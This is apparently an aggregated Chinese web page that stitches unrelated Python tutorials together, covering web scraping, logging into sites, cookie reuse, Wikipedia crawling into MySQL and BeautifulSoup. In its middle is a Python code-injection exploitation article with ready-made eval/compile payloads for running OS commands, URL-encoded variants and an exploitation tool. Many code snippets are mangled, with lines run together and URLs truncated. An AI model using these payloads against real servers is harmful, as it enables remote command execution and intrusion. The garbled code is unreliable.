如何利用python爬取网页内容

利用python爬取网页内容需要用scrapy（爬虫框架），但是很简单，就三步

定义item类

开发spider类

开发pipeline

想学习更深的爬虫，可以用《疯狂python讲义》

如何用 Python 爬取需要登录的网站

最近我必须执行一项从一个需要登录的网站上爬取一些网页的操作。它没有我想象中那么简单，因此我决定为它写一个辅助教程。

在本教程中，我们将从我们的bitbucket账户中爬取一个项目列表。

教程中的代码可以从我的 Github 中找到。

我们将会按照以下步骤进行：

提取登录需要的详细信息

执行站点登录

爬取所需要的数据

在本教程中，我使用了以下包（可以在 requirements.txt 中找到）：

Python

requests

lxml

1

2

requests

lxml

步骤一：研究该网站

打开登录页面

进入以下页面 “bitbucket.org/account/signin”。你会看到如下图所示的页面（执行注销，以防你已经登录）

仔细研究那些我们需要提取的详细信息，以供登录之用

在这一部分，我们会创建一个字典来保存执行登录的详细信息：

1. 右击 “Username or email” 字段，选择“查看元素”。我们将使用 “name” 属性为 “username” 的输入框的值。“username”将会是 key 值，我们的用户名/电子邮箱就是对应的 value 值（在其他的网站上这些 key 值可能是 “email”，“ user_name”，“ login”，等等）。

2. 右击 “Password” 字段，选择“查看元素”。在脚本中我们需要使用 “name” 属性为 “password” 的输入框的值。“password” 将是字典的 key 值，我们输入的密码将是对应的 value 值（在其他网站key值可能是 “userpassword”，“loginpassword”，“pwd”，等等）。

3. 在源代码页面中，查找一个名为 “csrfmiddlewaretoken” 的隐藏输入标签。“csrfmiddlewaretoken” 将是 key 值，而对应的 value 值将是这个隐藏的输入值（在其他网站上这个 value 值可能是一个名为 “csrftoken”，“ authenticationtoken” 的隐藏输入值）。列如：“Vy00PE3Ra6aISwKBrPn72SFml00IcUV8”。

最后我们将会得到一个类似这样的字典：

Python

payload = {

"username": "USER NAME",

"password": "PASSWORD",

"csrfmiddlewaretoken": "CSRF_TOKEN"

}

1

2

3

4

5

payload = {

"username": "USER NAME",

"password": "PASSWORD",

"csrfmiddlewaretoken": "CSRF_TOKEN"

}

请记住，这是这个网站的一个具体案例。虽然这个登录表单很简单，但其他网站可能需要我们检查浏览器的请求日志，并找到登录步骤中应该使用的相关的 key 值和 value 值。

如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话，攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着，如果你可以在目标服务器中执行Python代码的话，你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令，你不仅可以对那些可以访问到的文件进行读写操作，甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞，我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息，但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下，我们成功地通过Burp POC实现了一个非交互式的shell，这也是我们这篇文章所要描述的内容。

因为除了Python之外，还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题，因此Python代码注入属于服务器端代码注入的一种。实际上，如果各位同学和我一样是一名CWE的关注者，那么下面这两个CWE也许可以给你提供一些有价值的参考内容：

1. CWE-94：代码生成控制不当(‘代码注入’)2. CWE-95：动态代码评估指令处理不当(‘Eval注入’)漏洞利用

假设你现在使用Burp或者其他工具发现了一个Python注入漏洞，而此时的漏洞利用Payload又如下所示：

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了：

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上，你甚至都不需要使用for循环，直接使用全局函数“__import__”就可以了。具体代码如下所示：

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁，既然我们已经将import和popen写在了一个表达式里面了，那么在大多数情况下，你甚至都不需要使用compile了。具体代码如下所示：

__import__('os').popen('COMMAND').read()

为了将这个Payload发送给目标Web应用，你需要对其中的某些字符进行URL编码。为了节省大家的时间，我们在这里已经将上面所列出的Payload代码编码完成了，具体如下所示：

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来，我们将会给大家介绍关于这个漏洞的细节内容，并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾，我将会给大家演示一款工具，这款工具是我和我的同事Charlie共同编写的，它可以明显降低你在利用这个漏洞时所花的时间。简而言之，这款工具就像sqlmap一样，可以让你快速找到SQL注入漏洞，不过这款工具仍在起步阶段，感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器

为了更好地给各位同学进行演示，我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话，你可以点击这里获取这份Web应用。接下来，我们要配置的就是Web应用的运行环境，即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行，或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示：

git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

当你在网上搜索关于python的eval()函数时，几乎没有文章会提醒你这个函数是非常不安全的，而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况，说明你的Web应用中存在这个漏洞：

1. Web应用接受用户输入(例如GET/POST参数，cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查，或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码：

\

大家可以看到，eval()函数是上述代码中唯一一个存在问题的地方。除此之外，如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话，那么Web应用中也将会出现这个漏洞。

不过需要注意的是，除了eval()函数之外，Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示，现在很多开发人员都会在Web应用中不规范地使用exec()函数，所以这个问题肯定会存在。

自动扫描漏洞

为了告诉大家如何利用漏洞来实施攻击，我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后，我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是，不要过度依赖扫描工具，因为还很多东西是扫描工具也找不到的。

这个漏洞也不例外，如果你在某个Web应用中发现了这个漏洞，那么你肯定使用了某款自动化的扫描工具，比如说Burp Suite Pro。目前为止，如果不使用类似Burp Suite Pro这样的专业扫描工具，你几乎是无法发现这个漏洞的。

当你搭建好测试环境之后，启动并运行包含漏洞的示例应用。接下来，使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示：

\

下图显示的是Burp在扫描这个漏洞时所使用的Payload：

\

我们可以看到，Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的)，是因为当它将这个Payload发送给目标Web应用之后，服务器的Python解析器休眠了20秒，响应信息在20秒之后才成功返回。但我要提醒大家的是，这种基于时间的漏洞检查机制通常会存在一定的误报。

将PoC升级成漏洞利用代码

使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来，为了执行操作系统指令并接收相应的输出数据，我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了，应该还有很多其他的函数同样可以实现我们的目标。

因为eval()函数只能对表达式进行处理，因此Burp Suite Pro的Payload在这里使用了compile()函数，这是一种非常聪明的做法。当然了，我们也可以使用其他的方法来实现，例如使用全局函数“__import__”。关于这部分内容请查阅参考资料：[参考资料1][参考资料2]

下面这个Payload应该可以适用于绝大多数的场景：

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句，那么你就需要使用eval()或者compile()函数了。实现代码如下所示：

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中，有时全局函数“__import__”会不起作用。在这种情况下，我们就要使用for循环了。相关代码如下所示：

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数，那么你就可以直接在浏览器中利用这个漏洞了：

\

请注意：虽然浏览器会帮你完成绝大部分的URL编码工作，但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外，你也可以直接使用我们所开发的工具。

如果是POST参数的话，我建议各位直接使用类似Burp Repeater这样的工具。如下图所示，我在subprocess.check_output()函数中一次性调用了多个系统命令，即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjectionShell

你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码，我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到，它跟sqlmap一样使用起来非常的简单。除此之外，它的使用方法跟sqlmap基本相同。

python能入侵网站吗

入侵python的网站并不比其他网站更容易。层层路由后面只开着个80端口，任何请求来了只返回一个静态页面。。。你说这种情况下咋入侵。

问题里面提到的接收到服务器数据直接print，我问下提主你的服务器端是咋整的。自己用套接字写的还是用的框架。print一个东西当然有效果了，如果没有效果加个断点看看。

用python能攻入网站后台吗？

python是一种胶水语言，适合处理日常的工作，比如自动化、爬取内容以及数据可视化，对于攻入网站后台来说，需要扎实的前端基础，有这种知识储备的人是不会用python来做的。

怎么用python爬需要登录的网站数据

scrapy.FormRequest

login.py

class LoginSpider(scrapy.Spider):

name = 'login_spider'

start_urls = ['hin.com'] def parse(self, response):

return [

scrapy.FormRequest.from_response(

response, # username和password要根据实际页面的表单的name字段进行修改

formdata={'username': 'your_username', 'password': 'your_password'},

callback=self.after_login)] def after_login(self, response):

# 登录后的代码

pass123456789101112131415

selenium登录获取cookie

get_cookie_by_selenium.py

import pickleimport timefrom selenium import webdriverdef get_cookies():

url = 'httest.com'

web_driver = webdriver.Chrome()

web_driver.get(url)

username = web_driver.find_element_by_id('login-email')

username.send_keys('username')

password = web_driver.find_element_by_id('login-password')

password.send_keys('password')

login_button = web_driver.find_element_by_id('login-submit')

login_button.click()

time.sleep(3)

cookies = web_driver.get_cookies()

web_driver.close() return cookiesif __name__ == '__main__':

cookies = get_cookies()

pickle.dump(cookies, open('cookies.pkl', 'wb'))12345678910111213141516171819202122232425

获取浏览器cookie(以Ubuntu的Firefox为例)

get_cookie_by_firefox.py

import sqlite3import pickledef get_cookie_by_firefox():

cookie_path = '/home/name/.mozilla/firefox/bqtvfe08.default/cookies.sqlite'

with sqlite3.connect(cookie_path) as conn:

sql = 'select name,value from moz_cookies where baseDomain="test.com"'

cur = conn.cursor()

cookies = [{'name': name, 'value': value} for name, value in cur.execute(sql).fetchall()] return cookiesif __name__ == '__main__':

cookies = get_cookie_from_firefox()

pickle.dump(cookies, open('cookies.pkl', 'wb'))12345678910111213141516

scrapy使用获取后的cookie

cookies = pickle.load(open('cookies.pkl', 'rb'))yield scrapy.Request(url, cookies=cookies, callback=self.parse)12

requests使用获取后的cookie

cookies = pickle.load(open('cookies.pkl', 'rb'))

s = requests.Session()for cookie in cookies:

s.cookies.set(cookie['name'], cookie['value'])1234

selenium使用获取后的cookie

from selenium import webdriver

cookies = pickle.load(open('cookies.pkl', 'rb'))

w = webdriver.Chrome()# 直接添加cookie会报错，下面是一种解决方案，可能有更好的# -- start --w.get('hww.test.com')

w.delete_all_cookies()# -- end --for cookie in cookies:

w.add_cookie(cookie)

如何用最简单的Python爬虫采集整个网站

在之前的文章中Python实现“维基百科六度分隔理论“之基础爬虫，我们实现了在一个网站上随机地从一个链接到另一个链接，但是，如果我们需要系统地把整个网站按目录分类，或者要搜索网站上的每一个页面，我们该怎么办？我们需要采集整个网站，但是那是一种非常耗费内存资源的过程，尤其是处理大型网站时，比较合适的工具就是用一个数据库来存储采集的资源，之前也说过。下面来说一下怎么做。

网站地图sitemap

网站地图，又称站点地图，它就是一个页面，上面放置了网站上需要搜索引擎抓取的所有页面的链接（注：不是所有页面，一般来说是所有文章链接。大多数人在网站上找不到自己所需要的信息时，可能会将网站地图作为一种补救措施。搜索引擎蜘蛛非常喜欢网站地图。

对于SEO，网站地图的好处：

1．为搜索引擎蜘蛛提供可以浏览整个网站的链接简单的体现出网站的整体框架出来给搜索引擎看；

2．为搜索引擎蜘蛛提供一些链接，指向动态页面或者采用其他方法比较难以到达的页面；

3．作为一种潜在的着陆页面，可以为搜索流量进行优化；

4．如果访问者试图访问网站所在域内并不存在的URL，那么这个访问者就会被转到“无法找到文件”的错误页面，而网站地图可以作为该页面的“准”内容。

数据采集

采集网站数据并不难，但是需要爬虫有足够的深度。我们创建一个爬虫，递归地遍历每个网站，只收集那些网站页面上的数据。一般的比较费时间的网站采集方法从顶级页面开始（一般是网站主页），然后搜索页面上的所有链接，形成列表，再去采集到的这些链接页面，继续采集每个页面的链接形成新的列表，重复执行。

很明显，这是一个复杂度增长很快的过程。加入每个页面有10个链接，网站上有5个页面深度，如果采集整个网站，一共得采集的网页数量是105，即100000个页面。

因为网站的内链有很多都是重复的，所以为了避免重复采集，必须链接去重，在Python中，去重最常用的方法就是使用自带的set集合方法。只有“新”链接才会被采集。看一下代码实例：

from urllib.request import urlopenfrom bs4 import BeautifulSoupimport repages = set()def getLinks(pageurl):globalpageshtml= urlopen("" + pageurl)soup= BeautifulSoup(html)forlink in soup.findAll("a", href=re.compile("^(/wiki/)")):if'href' in link.attrs:iflink.attrs['href'] not in pages:#这是新页面newPage= link.attrs['href']print(newPage)pages.add(newPage)getLinks(newPage)getLinks("")

原理说明：程序执行时，用函数处理一个空URL，其实就是维基百科的主页，然后遍历首页上每个链接，并检查是否已经在全局变量集合pages里面，如果不在，就打印并添加到pages集合，然后递归处理这个链接。

递归警告：Python默认的递归限制是1000次，因为维基百科的链接浩如烟海，所以这个程序达到递归限制后就会停止。如果你不想让它停止，你可以设置一个递归计数器或者其他方法。

采集整个网站数据

为了有效使用爬虫，在用爬虫的时候我们需要在页面上做一些事情。我们来创建一个爬虫来收集页面标题、正文的第一个段落，以及编辑页面的链接（如果有的话）这些信息。

第一步，我们需要先观察网站上的页面，然后制定采集模式，通过F12（一般情况下）审查元素，即可看到页面组成。

观察维基百科页面，包括词条和非词条页面，比如隐私策略之类的页面，可以得出下面的规则：

所有的标题都是在h1→span标签里，而且页面上只有一个h1标签。

所有的正文文字都在div#bodyContent标签里，如果我们想获取第一段文字，可以用div#mw-content-text→p，除了文件页面，这个规则对所有页面都适用。

编辑链接只出现在词条页面上，如果有编辑链接，都位于li#ca-edit标签的li#ca-edit→span→a里面。

调整一下之前的代码，我们可以建立一个爬虫和数据采集的组合程序，代码如下：

import redef getLinks(pageUrl):global pageshtml = urlopen("" + pageUrl)soup = BeautifulSoup(html)try:print(soup.h1.get_text())print(soup.find(id="mw-content-text").findAll("p")[0])print(soup.find(id="ca-edit").find("span").find("a").attrs['href'])except AttributeError:print("页面缺少属性")for link in soup.findAll("a", href =re.compile("^(/wiki/)")):if 'href' in link.attrs:#这是新页面newPage = link.attrs['href']print("------------------\n"+newPage)

这个for循环和原来的采集程序基本上是一样的，因为不能确定每一页上都有所有类型的数据，所以每个打印语句都是按照数据在页面上出现的可能性从高到低排列的。

数据存储到MySQL

前面已经获取了数据，直接打印出来，查看比较麻烦，所以我们就直接存到MySQL里面吧，这里只存链接没有意义，所以我们就存储页面的标题和内容。前面我有两篇文章已经介绍过如何存储数据到MySQL，数据表是pages，这里直接给出代码：

import reimport datetimeimport randomimport pymysqlconn = pymysql.connect(host = '127.0.0.1',port = 3306, user = 'root', passwd = '19930319', db = 'wiki', charset ='utf8mb4')cur = conn.cursor()cur.execute("USE wiki")#随机数种子random.seed(datetime.datetime.now())#数据存储def store(title, content):cur.execute("INSERT INTO pages(title, content)VALUES(\"%s\", \"%s\")", (title, content))cur.connection.commit()def getLinks(articleUrl):html = urlopen("" + articleUrl)title = soup.find("h1").get_text()content =soup.find("div",{"id":"mw-content-text"}).find("p").get_text()store(title, content)returnsoup.find("div",{"id":"bodyContent"}).findAll("a",href=re.compile("^(/wiki/)((?!:).)*$"))#设置第一页links =getLinks("/wiki/Kevin_Bacon")try:while len(links)0:newArticle = links[random.randint(0, len(links)-1)].attrs['href']print (newArticle)links = getLinks(newArticle)finally:cur.close()conn.close()

小结

今天主要讲一下Python中遍历采集一个网站的链接，方便下面的学习。

希望通过上面的操作能帮助大家。如果你有什么好的意见，建议，或者有不同的看法，我都希望你留言和我们进行交流、讨论。

如何利用Python爬虫从网页上批量获取想要的信息

稍微说一下背景，当时我想研究蛋白质与小分子的复合物在空间三维结构上的一些规律，首先得有数据啊，数据从哪里来？就是从一个涵盖所有已经解析三维结构的蛋白质-小分子复合物的数据库里面下载。这时候，手动一个个去下显然是不可取的，我们需要写个脚本，能从特定的网站选择性得批量下载需要的信息。python是不错的选择。

import urllib #python中用于获取网站的模块

import urllib2, cookielib

有些网站访问时需要cookie的，python处理cookie代码如下：

cj = cookielib.CookieJar ( )

opener = urllib2.build_opener( urllib2.HttpCookieProcessor(cj) )

urllib2.install_opener （opener）

通常我们需要在网站中搜索得到我们需要的信息，这里分为二种情况：

1. 第一种，直接改变网址就可以得到你想要搜索的页面：

def GetWebPage( x ): #我们定义一个获取页面的函数，x 是用于呈递你在页面中搜索的内容的参数

url = 'http://xxxxx/xxx.cgi?' + ‘你想要搜索的参数’ # 结合自己页面情况适当修改

page = urllib2.urlopen(url)

pageContent = page.read( )

return pageContent #返回的是HTML格式的页面信息

2.第二种，你需要用到post方法，将你搜索的内容放在postdata里面，然后返回你需要的页面

def GetWebPage( x ): #我们定义一个获取页面的函数，x 是用于呈递你在页面中搜索的内容的参数

url = 'http://xxxxx/xxx' #这个网址是你进入搜索界面的网址

postData = urllib.urlencode( { 各种‘post’参数输入 } ) #这里面的post参数输入需要自己去查

req= urllib2.Request (url, postData)

pageContent = urllib2.urlopen (req). read( )

return pageContent #返回的是HTML格式的页面信息

在获取了我们需要的网页信息之后，我们需要从获得的网页中进一步获取我们需要的信息，这里我推荐使用 BeautifulSoup 这个模块， python自带的没有，可以自行百度谷歌下载安装。 BeautifulSoup 翻译就是‘美味的汤’，你需要做的是从一锅汤里面找到你喜欢吃的东西。

import re # 正则表达式，用于匹配字符

from bs4 import BeautifulSoup # 导入BeautifulSoup 模块

soup = BeautifulSoup（pageContent） #pageContent就是上面我们搜索得到的页面

soup就是 HTML 中所有的标签（tag）BeautifulSoup处理格式化后的字符串，一个标准的tag形式为：

hwkobe24

通过一些过滤方法，我们可以从soup中获取我们需要的信息：

（1） find_all ( name , attrs , recursive , text , **kwargs)

这里面，我们通过添加对标签的约束来获取需要的标签列表， 比如 soup.find_all ('p') 就是寻找名字为‘p’的 标签，而soup.find_all (class = "tittle") 就是找到所有class属性为"tittle" 的标签，以及soup.find_all ( class = re.compile('lass')) 表示 class属性中包含‘lass’的所有标签，这里用到了正则表达式（可以自己学习一下，非常有用滴）

当我们获取了所有想要标签的列表之后，遍历这个列表，再获取标签中你需要的内容，通常我们需要标签中的文字部分，也就是网页中显示出来的文字，代码如下：

tagList = soup.find_all (class="tittle") #如果标签比较复杂，可以用多个过滤条件使过滤更加严格

for tag in tagList:

print tag.text

f.write ( str(tag.text) ) #将这些信息写入本地文件中以后使用

（2）find( name , attrs , recursive , text , **kwargs )

它与 find_all( ) 方法唯一的区别是 find_all() 方法的返回结果是值包含一个元素的列表,而 find() 方法直接返回结果

（3）find_parents( ) find_parent( )

find_all() 和 find() 只搜索当前节点的所有子节点,孙子节点等. find_parents() 和 find_parent() 用来搜索当前节点的父辈节点,搜索方法与普通tag的搜索方法相同,搜索文档搜索文档包含的内容

（4）find_next_siblings() find_next_sibling()

这2个方法通过 .next_siblings 属性对当 tag 的所有后面解析的兄弟 tag 节点进代, find_next_siblings() 方法返回所有符合条件的后面的兄弟节点,find_next_sibling() 只返回符合条件的后面的第一个tag节点

（5）find_previous_siblings() find_previous_sibling()

这2个方法通过 .previous_siblings 属性对当前 tag 的前面解析的兄弟 tag 节点进行迭代, find_previous_siblings()方法返回所有符合条件的前面的兄弟节点, find_previous_sibling() 方法返回第一个符合条件的前面的兄弟节点

（6）find_all_next() find_next()

这2个方法通过 .next_elements 属性对当前 tag 的之后的 tag 和字符串进行迭代, find_all_next() 方法返回所有符合条件的节点, find_next() 方法返回第一个符合条件的节点

（7）find_all_previous() 和 find_previous()

这2个方法通过 .previous_elements 属性对当前节点前面的 tag 和字符串进行迭代, find_all_previous() 方法返回所有符合条件的节点, find_previous()方法返回第一个符合条件的节点

具体的使用方法还有很多，用到这里你应该可以解决大部分问题了，如果要更深入了解可以参考官方的使用说明哈！